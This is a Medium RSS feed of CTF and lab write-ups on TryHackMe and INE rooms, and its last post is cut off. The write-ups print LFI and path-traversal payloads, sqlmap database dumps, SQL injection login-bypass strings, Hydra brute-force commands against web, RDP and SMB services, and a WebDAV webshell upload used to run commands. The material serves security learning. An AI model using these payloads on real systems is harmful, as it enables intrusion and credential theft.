<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Scorpion on Medium]]></title>
        <description><![CDATA[Stories by Scorpion on Medium]]></description>
        <link>https://medium.com/@sarahalaaeldin00?source=rss-21f892eeba69------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*CRW6ecV4RIQM6tkUTxjmjA.png</url>
            <title>Stories by Scorpion on Medium</title>
            <link>https://medium.com/@sarahalaaeldin00?source=rss-21f892eeba69------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 03:27:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sarahalaaeldin00/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe — Recruit | Write-up]]></title>
            <link>https://medium.com/@sarahalaaeldin00/tryhackme-recruit-write-up-f79cef453540?source=rss-21f892eeba69------2</link>
            <guid isPermaLink="false">https://medium.com/p/f79cef453540</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[web]]></category>
            <dc:creator><![CDATA[Scorpion]]></dc:creator>
            <pubDate>Tue, 01 Dec 2026 23:30:28 GMT</pubDate>
            <atom:updated>2026-12-01T23:30:28.361Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Author:</strong> Scorpion <strong>🦂</strong><br>Platform: TryHackMe<br>Room: Recruit<br>Category: Web Application Penetration Testing<br>Focus: Enumeration | Information Disclosure | Local File Inclusion (LFI) | SQL Injection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H5opcx8P1-2q4i5nEVjXNQ.jpeg" /></figure><h3>1. Introduction</h3><p>In this write-up, I will document my methodology for completing the “Recruit” room on TryHackMe. The challenge focuses on assessing a recruitment management web application, identifying exposed resources, investigating sensitive information disclosure, and exploiting a SQL Injection vulnerability to gain administrative access.</p><h3>2. Initial Reconnaissance</h3><p>After deploying the target machine and obtaining its IP address, I accessed the web application, which presented a login page for a recruitment portal called “Recruit.” Since no credentials were initially available, I started with reconnaissance to identify publicly accessible directories and files.</p><h3>2.1 Directory Enumeration with Gobuster</h3><p>I used Gobuster to discover hidden directories and resources using the following command:</p><blockquote>gobuster dir -u http://&lt;TARGET_IP&gt; -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</blockquote><p>This revealed several interesting paths, including:</p><ul><li>/mail</li><li>/javascript</li><li>/assets</li><li>/sitemap.xml</li></ul><h3>3. Information Disclosure &amp; Local File Inclusion (LFI)</h3><p>One of the interesting discoveries was the /mail/ directory. Accessing it revealed a directory listing containing a file named mail.log. Upon opening the file, I found an internal email containing deployment information. The email revealed that temporary HR credentials were stored in an application configuration file.</p><p>Next, I investigated the application’s sitemap.xml, which revealed additional endpoints, including file.php.</p><p>Accessing http://&lt;TARGET_IP&gt;/file.php returned the message: Missing cv parameter. This indicated that the endpoint expected a parameter named cv. I investigated how the application processed this parameter and discovered a Local File Inclusion (LFI) vulnerability.</p><p>Using the following payload, I was able to read the application’s configuration file:</p><blockquote>http://&lt;TARGET_IP&gt;/file.php?cv=file:///config.php</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KAaN0HCDJWrMMb8l2HZSWw.png" /></figure><p>Result: The disclosed configuration revealed sensitive information, including the application version and, most importantly, the temporary HR credentials:</p><ul><li>$APP_NAME = &#39;Recruit&#39;;</li><li>$APP_VERSION = &#39;1.2.4&#39;;</li><li>$HR_PASSWORD = &#39;hrpassword123&#39;;</li></ul><h3>4. Initial Foothold</h3><p>Using the leaked credentials, I logged into the portal:</p><ul><li>Username: hr</li><li>Password: hrpassword123</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-uOd5Ztl-0JO66q2tLZcKQ.png" /></figure><p>Upon successful login, I was redirected to the employee dashboard (Candidate Applications), and Flag 1 was displayed at the top:</p><blockquote><em>THM{LOGGED_IN_USER}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G2PiqjbwVMpZRH0Qo83gOQ.png" /></figure><h3>5. Exploiting SQL Injection (SQLi)</h3><p>On the dashboard, there was a search functionality to look up candidates. I tested this by submitting a single quotation mark (&#39;) in the search field. The application returned a SQL syntax error, indicating a potential SQL Injection vulnerability.</p><h3>5.1 Capturing the Request</h3><p>I used the browser’s Developer Tools (Network tab) or Burp Suite to intercept the HTTP request generated by the search functionality. I saved the captured request into a file named thm.txt.</p><blockquote>GET /dashboard.php?search=%27 HTTP/1.1<br>Host: &lt;TARGET_IP&gt;<br>…<br>Cookie: PHPSESSID=&lt;SESSION_ID&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wxTdmVdZ21Wi1ET1iBxCxA.png" /></figure><h3>5.2 SQL Injection with SQLmap</h3><p>To automate the exploitation and extract data, I used SQLmap against the saved request:</p><blockquote>sqlmap -r thm.txt — dbs</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D4648GDvSj10P7duYIfbSg.png" /></figure><p>SQLmap confirmed the backend DBMS was MySQL and retrieved the available databases, including recruit_db.</p><p>Next, I enumerated the tables within recruit_db:</p><blockquote>sqlmap -r thm.txt -D recruit_db — tables</blockquote><blockquote>sqlmap -r request.txt -D recruit_db -T users — dump</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gXqPuH_stC0HFsrw8ii4UA.png" /></figure><p>Result: The output revealed plaintext administrative credentials:</p><ul><li>Username: admin</li><li>Password: admin@001admin</li></ul><h3>6. Accessing the Administrative Dashboard</h3><p>Using the extracted credentials, I logged into the application as the administrator. The administrative dashboard provided additional candidate management functionality (Approve/Reject).</p><p>Here, Flag 2 was displayed at the top of the page:</p><blockquote><em>THM{LOGGED_IN_ADM1N1}</em></blockquote><h3>7. Vulnerability Analysis &amp; Recommendations</h3><h3>Vulnerabilities Identified:</h3><ol><li>Directory Listing &amp; Information Disclosure: The publicly accessible /mail/ directory exposed sensitive internal communications.</li><li>Local File Inclusion (LFI): The file.php endpoint allowed reading arbitrary files (like config.php) from the server via the cv parameter.</li><li>SQL Injection (CWE-89): The candidate search functionality was vulnerable to SQLi, allowing full database enumeration.</li><li>Insecure Credential Storage: Passwords were stored in plaintext within the database.</li></ol><h3>Recommended Mitigations:</h3><ul><li>Disable public directory listing on the web server.</li><li>Restrict file access permissions and prevent direct access to sensitive configuration files (use open_basedir or similar restrictions).</li><li>Use parameterized SQL queries and prepared statements to prevent SQL Injection.</li><li>Store passwords using secure hashing algorithms (e.g., Bcrypt) instead of plaintext.</li><li>Enforce role-based access control (RBAC) for administrative endpoints.</li></ul><h3>8. Conclusion</h3><p>The Recruit room was a valuable hands-on exercise in Web Application Penetration Testing. It demonstrated the importance of identifying and chaining vulnerabilities. By starting with minor information disclosure, we leveraged an LFI vulnerability to gain initial access, and ultimately exploited a SQL injection flaw to escalate privileges and compromise the administrator account.</p><p><strong>🦂 </strong>Another room completed. Another step forward in my Red Team journey.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f79cef453540" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE eWPT — Cyber Security Skill Check | 5 Flags Captured]]></title>
            <link>https://medium.com/@sarahalaaeldin00/ine-ewpt-cyber-security-skill-check-5-flags-captured-9b3f799ffff4?source=rss-21f892eeba69------2</link>
            <guid isPermaLink="false">https://medium.com/p/9b3f799ffff4</guid>
            <category><![CDATA[ine]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Scorpion]]></dc:creator>
            <pubDate>Tue, 01 Dec 2026 22:56:56 GMT</pubDate>
            <atom:updated>2026-12-01T22:56:56.563Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Scorpion 🦂 | Offensive Security</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H5opcx8P1-2q4i5nEVjXNQ.jpeg" /></figure><h3>Introduction</h3><p>As part of my eWPT (Web Application Penetration Tester) learning journey with INE, I completed the <strong>Cyber Security Skill Check</strong> from the <em>Introduction to Web Application Security Testing</em> module.</p><p>The challenge provided an opportunity to apply practical web security testing concepts, investigate the target environment, and work through the assessment to capture all five flags.</p><h3>Lab Information</h3><ul><li><strong>Platform:</strong> INE</li><li><strong>Module:</strong> Introduction to Web Application Security Testing</li><li><strong>Challenge:</strong> Cyber Security Skill Check</li><li><strong>Flags:</strong> 5/5</li><li><strong>Author:</strong> Scorpion</li></ul><h3>Walkthrough &amp; Flag Capture</h3><h3>Flag 01</h3><p>Started by investigating the target environment and identifying the first opportunity to progress through the challenge.</p><p><strong>Evidence:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f25Ti-USbCiQUNI9d5tl4A.png" /><figcaption>flag 1</figcaption></figure><h3>Flag 02</h3><p>Continued the investigation by exploring the available resources and analyzing the target’s behavior.</p><p><strong>Evidence:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*plTc8dBQY6damgaK4eQUug.png" /><figcaption>flag 2</figcaption></figure><h3>Flag 03</h3><p>Performed further security testing to uncover the next flag and advance through the challenge.</p><p><strong>Evidence:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oLOMQSYDR1fSas1P761EPg.png" /><figcaption>flag 3</figcaption></figure><h3>Flag 04</h3><p>Continued enumerating and investigating the environment until the fourth flag was successfully retrieved.</p><p><strong>Evidence:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iyvUWF3ZO9KgmaT4xT4tsg.png" /><figcaption>flag 4</figcaption></figure><h3>Flag 05 — Final Flag</h3><p>Completed the remaining challenge and successfully captured the fifth and final flag.</p><p><strong>Evidence:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PCF9mw-uhh8Dw3zvGaKqHQ.png" /><figcaption>flag 5</figcaption></figure><h3>Conclusion</h3><p>Successfully completed the INE Cyber Security Skill Check and captured all five flags.</p><p>This lab was a valuable opportunity to practice web application security testing and strengthen my practical understanding of the penetration testing process.</p><p>One more step forward in my eWPT journey.</p><p><strong>Think Like an Attacker. Hack with Purpose.</strong></p><p><strong>SCORPION 🦂</strong><br><em>Offensive Security | Web Application Penetration Testing</em></p><p><strong>Think like an attacker. Test with purpose. Document every finding.</strong></p><p>#INE #eWPT #WebApplicationSecurity #CyberSecurity #PenetrationTesting #OffensiveSecurity #EthicalHacking #SecurityTesting #Scorpion</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9b3f799ffff4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE CTF Web Application]]></title>
            <link>https://medium.com/@sarahalaaeldin00/initial-information-fab59e1409ae?source=rss-21f892eeba69------2</link>
            <guid isPermaLink="false">https://medium.com/p/fab59e1409ae</guid>
            <category><![CDATA[web-hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ine]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Scorpion]]></dc:creator>
            <pubDate>Sat, 28 Nov 2026 01:55:55 GMT</pubDate>
            <atom:updated>2026-11-28T01:59:00.083Z</atom:updated>
            <content:encoded><![CDATA[<h3>🌐 Initial Information</h3><ul><li>Target: <a href="http://target.ine.local/">http://target.ine.local</a></li><li>Environment: Kali Linux (GUI access provided).</li><li>Provided Wordlists:</li><li>/usr/share/wordlists/dirb/common.txt</li><li>/usr/share/seclists/Usernames/top-usernames-shortlist.txt</li><li>/root/Desktop/wordlists/100-common-passwords.txt</li></ul><h3>🚩 Flag 1: Local File Inclusion (LFI)</h3><p>Hint: <em>“Sometimes, important files are hidden in plain sight. Check the root (‘/’) directory for a file named ‘flag.txt’…”</em><br>Explanation: The web application allows users to view files by passing a filename in the URL parameter, which is vulnerable to LFI.</p><p>Steps:</p><ol><li>Open your browser and navigate to <a href="http://target.ine.local./">http://target.ine.local.</a></li><li>Browse the site and click on any file viewing links. You will notice the URL looks something like this: <a href="http://target.ine.local/view.php?file=about.txt.">http://target.ine.local/view.php?file=about.txt.</a></li><li>To exploit the LFI and read the file in the root directory, modify the file parameter to traverse up the directory tree:</li></ol><blockquote><a href="http://target.ine.local/view.php?file=../../../../flag.txt">http://target.ine.local/view.php?file=../../flag.txt</a></blockquote><p><em>(Note: You may need to add more </em>../<em> depending on the server&#39;s directory depth, or you can simply try the absolute path: </em>?file=/flag.txt<em>).</em></p><p>4. The contents of flag.txt will be displayed on the screen. Copy this value into the Flag 1 submission box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TQLqoyzzTMah7JxqJuqSRA.png" /><figcaption>flag 1</figcaption></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><h3>🚩 Flag 2: Directory Enumeration</h3><p>Hint: <em>“Explore the structure of the server’s directories. Enumeration might reveal hidden treasures.”</em><br>Explanation: We need to use a directory brute-forcing tool to find hidden directories on the web server.</p><p>Steps:</p><ol><li>Open a Terminal in your Kali Linux machine.</li><li>Use the dirb tool with the provided wordlist to scan for hidden directories:</li></ol><blockquote>dirb <a href="http://target.ine.local/">http://target.ine.local</a> /usr/share/wordlists/dirb/common.txt</blockquote><p>3. Wait for the scan to complete. Look through the output for interesting directories (e.g., /secured, /hidden, /admin).</p><p>4. Navigate to the discovered directory in your browser. For example:</p><blockquote><a href="http://target.ine.local/secured/">http://target.ine.local/secured/</a></blockquote><p>5. Look inside this directory. You will likely find a flag.txt file or the flag itself displayed on the page. Copy it into the Flag 2 submission box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5wh_DjSRsNciDyopWTv0PA.png" /><figcaption>flag 2</figcaption></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>🚩 Flag 3: Weak Login Form (Brute Force)</h3><p>Hint: <em>“The login form seems a bit weak. Trying out different combinations might just reveal the next flag.”</em><br>Explanation: The login page lacks rate-limiting or lockout mechanisms. We will use Hydra with the provided lists to brute-force the credentials.</p><p>Steps:</p><ol><li>Navigate to the login page in your browser (e.g., <a href="http://target.ine.local/login).">http://target.ine.local/login).</a></li><li>Try a dummy login (e.g., admin:admin) and note the exact error message (e.g., “Invalid username or password”).</li><li>Open your terminal and use Hydra. Assuming the form uses POST with the fields username and password:</li></ol><blockquote>hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /root/Desktop/wordlists/100-common-passwords.txt target.ine.local http-post-form “/login:username=^USER^&amp;password=^PASS^:F=Invalid username or password”</blockquote><p><em>(Note: Adjust the </em>/login<em> path and the exact error message </em>F=...<em> if they differ on the actual page).</em></p><p>4. Hydra will output the valid credentials (e.g., guest:password123)</p><p>5. Go back to the browser, log in with these credentials, and the Flag 3 will be visible on your dashboard. Submit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jKjK0r4nJm-zzEVUWyl3Hw.png" /><figcaption>flag 3</figcaption></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>🚩 Flag 4: SQL Injection (SQLi)</h3><p>Hint: <em>“The login form behaves oddly with unexpected inputs. Think of injection techniques to access the ‘admin’ account and find the flag.”</em><br>Explanation: The login form is vulnerable to SQL Injection, allowing us to bypass authentication and log in as the admin user without knowing the password.</p><p>Steps:</p><ol><li>Go back to the login page.</li><li>In the Username field, enter the following payload:</li></ol><blockquote>admin&#39;--</blockquote><blockquote>&#39; OR 1=1--</blockquote><p><em>(Alternative payloads if the first one doesn’t work: </em>admin&#39; OR 1=1-- -<em> or </em>admin&#39;#<em>)</em></p><p>3. In the Password field, type anything random (e.g., 123456). The SQL comment -- will cause the database to ignore the password check.</p><p>4. Click the Login button. You will bypass authentication and be logged in directly as the administrator (admin).</p><p>5. The Flag 4 will be displayed on the admin dashboard. Copy and submit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UejIhY3cJyAGxHZhSEeR3A.png" /><figcaption>flag 4</figcaption></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>Author: Scorpion</strong></p><p>Cybersecurity | Penetration Testing | Linux Security | Red Teaming</p><p><em>Learning, practicing, and documenting one lab at a time.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fab59e1409ae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE Lab Write-Up: System-Host Based Attacks CTF 1]]></title>
            <link>https://medium.com/@sarahalaaeldin00/ine-lab-write-up-system-host-based-attacks-ctf-1-489d33102cd1?source=rss-21f892eeba69------2</link>
            <guid isPermaLink="false">https://medium.com/p/489d33102cd1</guid>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ine]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Scorpion]]></dc:creator>
            <pubDate>Sat, 28 Nov 2026 01:40:09 GMT</pubDate>
            <atom:updated>2026-11-28T01:40:09.964Z</atom:updated>
            <content:encoded><![CDATA[<p>Objective: Perform system/host-based attacks on two target machines and capture all 4 hidden flags.</p><h3>🎯 Target 1: target1.ine.local</h3><h3>Step 1: Enumeration</h3><p>First, we need to see what services are running on Target 1.</p><blockquote>nmap -sC -sV -p- target1.ine.local</blockquote><h3>Step 2: Capturing Flag 1 (Weak Password)</h3><p>Hint: <em>User ‘bob’ might not have chosen a strong password.</em></p><p>We use the provided wordlists to brute-force user bob. Based on your previous screenshot, you ran Hydra against RDP and successfully found the password:</p><ul><li>Username: bob</li><li>Password: password_123321</li></ul><p>However, the RDP server returned an error: account not active for remote desktop. This means the password is correct, but Bob cannot log in via RDP. We must pivot to the web server.</p><ol><li>Since we have valid credentials, let’s use dirb to enumerate the web server with authentication:</li></ol><blockquote>dirb <a href="http://target1.ine.local/">http://target1.ine.local</a> -u bob:password_123321</blockquote><ol><li>The scan reveals a /webdav/ directory.</li><li>Navigate to http://target1.ine.local/webdav/ in your browser. You will find flag1.txt.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cHULQ__tq7fmuKUYykAHlA.png" /><figcaption>flag 1</figcaption></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>Step 3: Capturing Flag 2 (C: Drive Exploitation)</h3><p>Hint: <em>Valuable files are often on the C: drive.</em></p><p>To access the C: drive, we need command execution. WebDAV allows us to upload files.</p><ol><li>Test if we can upload and execute an ASP webshell:</li></ol><blockquote>davtest -auth bob:password_123321 -url <a href="http://target1.ine.local/webdav">http://target1.ine.local/webdav</a></blockquote><p>2. Upload the provided webshell using cadaver:</p><blockquote>cadaver <a href="http://target1.ine.local/webdav">http://target1.ine.local/webdav</a><br># Login with bob:password_123321<br>dav:/webdav/&gt; put /usr/share/webshells/asp/webshell.asp</blockquote><p>3. Open your browser and navigate to <a href="http://target1.ine.local/webdav/webshell.asp.">http://target1.ine.local/webdav/webshell.asp.</a></p><p>4. In the command execution box, run:</p><blockquote>dir C:\</blockquote><p>5. You will see flag2.txt in the root of the C: drive. Read it:</p><blockquote>type C:\flag2.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CtrWAJXjcPl6shOpyuwtiQ.png" /><figcaption>flag 2</figcaption></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><h3>🎯 Target 2: target2.ine.local</h3><h3>Step 4: Capturing Flag 3 (SMB Shares)</h3><p>Hint: <em>By attempting to guess SMB user credentials, you may uncover important information.</em> / <em>SMB shares might contain hidden files.</em></p><ol><li>Brute-force the SMB service using the provided wordlists. Your screenshot shows you successfully found an administrator account:</li></ol><blockquote>hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt smb://target2.ine.local</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nZKnwEQb5bTU6GEYOSjuyw.png" /></figure><ul><li>Credentials Found: administrator:pineapple</li></ul><p>2. Connect to the SMB server using impacket-smbclient:</p><blockquote>impacket-smbclient administrator@target2.ine.local</blockquote><p><em>(Enter password: </em>pineapple<em>)</em></p><p>3. In your screenshot, you got a [-] No share selected error. This happens because you need to select the administrative share first.</p><blockquote># shares (to list shares)<br># use C$ (to select the C drive share)<br># ls (to list files)</blockquote><p>4. You should see flag3.txt in the C: drive root. Read it directly using cat:</p><blockquote># cat flag3.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1KgHFo_j7e0n1GUrTs3fg.png" /><figcaption>flag 3</figcaption></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><h3>Step 5: Capturing Flag 4 (Desktop Directory)</h3><p>Hint: <em>The Desktop directory might have what you’re looking for. Enumerate its contents.</em></p><p>You are already logged into the SMB session as Administrator.</p><ol><li>Navigate to the Administrator’s Desktop directory:</li></ol><blockquote># cd Users\Administrator\Desktop</blockquote><p>2. List the contents:</p><blockquote># ls</blockquote><p>3. You will see flag4.txt. Read it:</p><blockquote># cat flag4.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DF9rTqgili6lTeGcDG5J3Q.png" /><figcaption>flag 4</figcaption></figure><h3>🏁 Conclusion</h3><p>By exploiting weak credentials and misconfigured WebDAV and SMB services, you successfully gained administrative access to both hosts and captured all 4 flags.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><p><strong>Author: Scorpion</strong></p><p>Cybersecurity | Penetration Testing | Linux Security | Red Teaming</p><p><em>Learning, practicing, and documenting one lab at a time.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=489d33102cd1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ INE CTF: Vulnerability Assessment CTF 1 Write-up]]></title>
            <link>https://medium.com/@sarahalaaeldin00/%EF%B8%8F-ine-ctf-vulnerability-assessment-ctf-1-write-up-393319667dee?source=rss-21f892eeba69------2</link>
            <guid isPermaLink="false">https://medium.com/p/393319667dee</guid>
            <category><![CDATA[ine-vulnerability]]></category>
            <category><![CDATA[vulnerability-management]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Scorpion]]></dc:creator>
            <pubDate>Fri, 27 Nov 2026 19:03:56 GMT</pubDate>
            <atom:updated>2026-11-27T19:03:56.955Z</atom:updated>
            <content:encoded><![CDATA[<h3>📌 Overview</h3><ul><li>Objective: Identify services running on the machine, perform a detailed vulnerability scan, and capture all flags hidden within the environment.</li><li>Provided Credentials: Username: admin | Password: adminpasswd (These are likely for a control panel or a specific service on the server).</li><li>Suggested Tools: Nmap, Nessus, Gobuster / Dirb.</li></ul><h3>🔍 Phase 1: Reconnaissance</h3><p>The first step is always to discover what is running on the target server.<br>We will use Nmap to perform a comprehensive scan of the ports and services:</p><blockquote>nmap -sV -sC -p- -T4 &lt;TARGET_IP&gt;</blockquote><p><em>(Note: Scanning all ports </em>-p-<em> might take some time).</em></p><p>From the scan results, you will typically find port 80 (HTTP) open, which will be our primary focus for the rest of the steps.</p><h3>🚩 Flag 1: Hidden Directories / Version Control</h3><p>CTF Hint: “Explore hidden directories for version control artifacts that might reveal valuable information.”</p><p>Walkthrough:</p><ol><li>We need to perform Directory Brute-forcing using a tool like Gobuster or Dirb.</li><li>Using Gobuster:</li></ol><blockquote>gobuster dir -u http://&lt;TARGET_IP&gt; -w /usr/share/wordlists/dirb/common.txt -x txt,php,html,git</blockquote><p>3. You will notice a hidden directory named .git. This directory contains the source code history of the website.</p><p>4. You can dump the entire repository using tools like GitTools, or simply browse it manually.</p><p>5. Navigate to the following URL in your browser:</p><blockquote>http://&lt;TARGET_IP&gt;/.git/flag.txt</blockquote><p><em>(Alternatively, use a tool like </em>curl<em> to pull the directory and read the history).</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PGxvuQ4ZfXImkClRYeJDEQ.png" /><figcaption>flag1</figcaption></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>🚩 Flag 2: Loose Data Storage Measures</h3><p>CTF Hint: “The data storage has some loose security measures. Can you find the flag hidden within it?”</p><p>Walkthrough:</p><ol><li>Based on your Nmap or Gobuster scan, you should find the path to the database management panel, phpMyAdmin.</li><li>Navigate to:</li></ol><blockquote>http://&lt;TARGET_IP&gt;/phpmyadmin</blockquote><ol><li>Login: Use the credentials provided at the beginning of the lab: admin with the password adminpasswd. (If that fails, try root with a blank password).</li><li>Once logged in, look at the left-hand menu and select the database named mysql.</li><li>Look for a table named secret_info and click on it to browse its data.</li><li>You will find the Flag stored within this table.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qYnsTNUp1SKExnPWUCs7OQ.png" /><figcaption>flag2</figcaption></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>🚩 Flag 3: Hidden in Plain Sight</h3><p>CTF Hint: “A PHP file that displays server information might be worth examining. What could be hidden in plain sight?”</p><p>Walkthrough:</p><ol><li>From your previous Gobuster results, or by using Nmap’s HTTP enumeration script (nmap -p 80 --script http-enum &lt;TARGET_IP&gt;), you will find a file named phpinfo.php.</li><li>Navigate to:</li></ol><blockquote>http://&lt;TARGET_IP&gt;/phpinfo.php</blockquote><ol><li>This page displays all the server’s PHP configuration settings.</li><li>To find the Flag, press Ctrl + U to view the page&#39;s Source Code, or use Ctrl + F to search for the word &quot;flag&quot; or &quot;INE&quot;.</li><li>You will usually find it hidden in the custom Environment Variables section or under Server Administrator.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ObVuZSKKgbs39kO4D4SvvA.png" /><figcaption>flag3</figcaption></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>🚩 Flag 4: Sensitive Directories</h3><p>CTF Hint: “Sensitive directories might hold critical information. Search through carefully for hidden gems.”</p><p>Walkthrough:</p><ol><li>In any web assessment, the first thing you should check is the robots.txt file, as it tells search engines which paths should <em>not</em> be indexed (which are often sensitive paths).</li><li>Navigate to:</li></ol><blockquote>http://&lt;TARGET_IP&gt;/robots.txt</blockquote><p>3. You will find an entry like Disallow: /passwords/ (or something similar indicating a sensitive directory).</p><p>4. Navigate to this directory:</p><blockquote>http://&lt;TARGET_IP&gt;/passwords/</blockquote><p>5. You will find a text file containing the Flag (e.g., flag.txt or passwords.txt). Open it and copy the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4u8LL4ESguFe6P9Sr-qJtg.png" /><figcaption>flag5</figcaption></figure><h3>🏁 Conclusion</h3><p>By completing these steps, we have successfully captured all four flags.</p><p>Summary of Skills Used:</p><ul><li>Nmap Scanning: For service discovery.</li><li>Directory Brute-forcing (Gobuster): To discover hidden paths like .git and phpmyadmin.</li><li>Information Disclosure: Exploiting misconfigured files like phpinfo.php and robots.txt.</li><li>Database Enumeration: Accessing phpMyAdmin and extracting sensitive data.</li></ul><p><strong>Author: Scorpion</strong></p><p>Cybersecurity | Penetration Testing | Linux Security | Red Teaming</p><p><em>Learning, practicing, and documenting one lab at a time.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=393319667dee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Jump: FTP Enumeration, Reverse Shells & Linux Privilege Escalation]]></title>
            <link>https://medium.com/@sarahalaaeldin00/tryhackme-jump-ftp-enumeration-reverse-shells-linux-privilege-escalation-4582d5f3b367?source=rss-21f892eeba69------2</link>
            <guid isPermaLink="false">https://medium.com/p/4582d5f3b367</guid>
            <category><![CDATA[jump]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Scorpion]]></dc:creator>
            <pubDate>Fri, 27 Nov 2026 13:09:37 GMT</pubDate>
            <atom:updated>2026-11-27T13:09:37.954Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Author:</strong> Scorpion<br><strong>Platform:</strong> TryHackMe<br><strong>Target:</strong> Jump<br><strong>Category:</strong> Linux Penetration Testing<br><strong>Focus:</strong> Reconnaissance, FTP Enumeration, Initial Access, Reverse Shells, Linux Privilege Escalation</p><h3>1. Introduction</h3><p>In this write-up, I will document my journey through the Jump room on TryHackMe.</p><p>The main objective was to investigate the target machine, identify potential entry points, explore exposed services, gain initial access, and retrieve the available flags.</p><p>During this lab, I practiced several penetration testing techniques, including:</p><ul><li>Network reconnaissance and port scanning.</li><li>FTP enumeration and anonymous authentication.</li><li>FTP file upload.</li><li>Linux directory and file enumeration.</li><li>Reverse shell creation and handling.</li><li>User enumeration.</li><li>Basic Linux privilege escalation investigation.</li></ul><p>This write-up documents the steps I performed during the lab, along with the commands used and their 